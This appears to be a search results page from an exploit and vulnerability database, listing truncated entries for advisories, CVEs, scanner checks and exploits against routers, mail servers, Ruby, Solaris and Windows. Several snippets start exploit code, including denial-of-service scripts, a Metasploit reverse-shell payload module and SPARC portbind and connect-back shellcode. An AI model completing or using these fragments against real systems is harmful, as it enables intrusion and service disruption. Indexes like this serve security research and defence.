207 matches found
3Com OfficeConnect Routers - 'Content-Type' Denial of Service
Model - Tested on 3Com OfficeConnect ADSL Wireless 11g Firewall Router 3CRWDR100A-72 and 3CRWDR100Y-72 Software Version - Tested on 2.06T13 Apr 2007, last version for these routers Attacker - Tested from GNU/Linux Sidux and Ubuntu and Windows 7 Exploit languaje - Ruby Type - Remote Denial of...
FreeBSD : XFree86 opens a chooserFd TCP socket even when DisplayManager.requestPort is 0 (ff00f2ce-c54c-11d8-b708-00061bc2ad93)
When the IPv6 code was added to xdm a critical test to disable xdmcp was accidentally removed. This caused xdm to create the chooser socket regardless if DisplayManager.requestPort was disabled in xdm-config or not. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and...
Mandriva Update for kernel MDKSA-2007:078 (kernel)
Check for the Version of kernel OpenVAS Vulnerability Test Mandriva Update for kernel MDKSA-2007:078 kernel Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under t...
Windows Command Shell, Reverse TCP (via Ruby)
Connect back and create a command shell via Ruby This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 126 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def...
IPSwitch IMail LDAP Daemon Remote Buffer Overflow Exploit
No description provided by source. // / THCimail 0.1 - Wind0wZ remote root exploit / / Exploit by: Johnny Cyberpunk [email protected] / / THC PUBLIC SOURCE MATERIALS /...
ZDI-07-051: Trend Micro ServerProtect TMregChange() Stack Overflow Vulnerability
ZDI-07-051: Trend Micro ServerProtect TMregChange Stack Overflow Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-07-051.html September 7, 2007 -- CVE ID: CVE-2007-4731 -- Affected Vendor: Trend Micro -- Affected Products: ServerProtect v5.58 -- TippingPointTM IPS Customer Protection...
Trend Micro ServerProtect TMregChange() Stack Overflow Vulnerability
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Trend Micro Server Protect. Authentication is not required to exploit this vulnerability. The specific flaw exists within the routine TMregChange exported by TMReg.dll which is reachable through th...
Double free
net/ipv6/tcpipv6.c in Linux kernel 2.6.x up to 2.6.21-rc3 inadvertently copies the ipv6flsocklist from a listening TCP socket to child sockets, which allows local users to cause a denial of service OOPS or double free by opening a listening IPv6 socket, attaching a flow label, and connecting to...
Colloquy 2.1.3545 - INVITE Format String Denial of Service
Colloquy 2.1.3545 - INVITE Format String Denial of Service !/usr/bin/ruby c Copyright 2006 Lance M. Havok Makes use of the Colloquy INVITE format string vulnerability. require 'socket' targetchannel = ARGV0 || "whatever" targetserver = ARGV1 || "irc.server.org" targetport = ARGV2 || 6667 randnick...
Cyrus IMAPD 2.3.2 (pop3d) Remote Buffer Overflow Exploit (2)
No description provided by source. !/usr/bin/ruby cyrus-imapd pop3d exploit by bannedit 05/23/2006 This exploit takes advantage of a stack based overflow. Once the stack corruption has occured it is possible to overwrite a pointer which is later used for a memcpy this gives us a write anything...
Yukihiro Matsumoto Ruby 1.x - XMLRPC Server Denial of Service
Yukihiro Matsumoto Ruby 1.x - XMLRPC Server Denial of Service source: https://www.securityfocus.com/bid/17645/info Ruby is affected by a denial-of-service vulnerability in the WEBrick HTTP server. This issue is due to the use of blocking network operations. Ruby's implementation of XML/RPC is als...
solaris/sparc portbind port 6666 240 bytes
solaris/sparc portbind port 6666 240 bytes. Shellcode exploit for solarissparc platform / [email protected] portbind shellcode full description of how it was done and defines at http://www.telegenetic.net/sparc-shellcode.htm / char shellcode= "\x9A\x1A\x40\x09" / xor %o1, %o1, %o5 /...
Secure Network Messenger 1.4.2 - Denial of Service
!/usr/bin/perl use IO::Socket; print "\nSecure Network Messenger Crasher by ClearScreen\n"; print "\nEnter host to crash: "; $h = ; chomp $h; $socks = IO::Socket::INET-new Proto = "tcp", PeerPort = "6144", PeerAddr = "$h" or die "\nNo response from host."; sleep 1; print "\nSuccesfully connected ...
solaris/SPARC connect-back 204 bytes
solaris/SPARC connect-back 204 bytes. Shellcode exploit for solarissparc platform / Solaris shellcode - connects /bin/sh to a host Claes M. Nyberg 20020624 , / include / void mainvoid asm" ! Create socket mov 0x2, %o0 ! o0 = AFINET mov 0x2, %o1 ! o1 = SOCKSTREAM xor %o2, %o2, %o2 ! o2 = 0 mov 0xe...
CVE-2004-0419
XDM in XFree86 opens a chooserFd TCP socket even when DisplayManager.requestPort is 0, which could allow remote attackers to connect to the port, in violation of the intended restrictions...
Mandrake Linux Security Advisory : XFree86 (MDKSA-2004:073)
Steve Rumble discovered XDM in XFree86 opens a chooserFd TCP socket even when DisplayManager.requestPort is 0, which could allow remote attackers to connect to the port, in violation of the intended restrictions. The updated packages are patched to correct the problem. %NASLMINLEVEL 70300 C Tenab...
Microsoft Windows SMS 2.0 - Denial of Service
!/usr/bin/perl SMS DOS proof of concept and test code use Socket; use IO::Socket; if @ARGV != 1 print "usage: $0 \n"; exit; $host = shift@ARGV; $hexmsg =...
FreeBSD : XFree86 opens a chooserFd TCP socket even when DisplayManager.requestPort is 0 (210)
The following package needs to be updated: xorg-clients %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated by freebsdpkgff00f2cec54c11d8b70800061bc2ad93.nasl. Disabled on 2011/10/02. C Tenable Network Security, Inc. This script contains information extracted from VuXML : Copyright...
